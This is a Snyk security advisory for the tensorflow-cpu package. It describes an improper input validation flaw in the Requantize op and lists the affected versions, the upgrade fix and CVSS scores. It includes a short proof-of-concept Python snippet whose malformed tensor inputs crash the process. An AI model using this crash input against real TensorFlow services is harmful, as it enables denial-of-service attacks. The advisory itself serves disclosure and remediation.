Improper Input Validation Affecting tensorflow-cpu package, versions [,2.7.2) [2.8.0,2.8.1) [2.9.0,2.9.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.08% (34th percentile)

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  • Snyk ID SNYK-PYTHON-TENSORFLOWCPU-3026792
  • published 18 Sep 2022
  • disclosed 18 Sep 2022
  • credit Unknown

How to fix?

Upgrade tensorflow-cpu to version 2.7.2, 2.8.1, 2.9.1 or higher.

Overview

tensorflow-cpu is a machine learning framework.

Affected versions of this package are vulnerable to Improper Input Validation when Requantize is given input_min, input_max, requested_output_min, requested_output_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.

PoC

import tensorflow as tf

out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5.9 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

7.5 high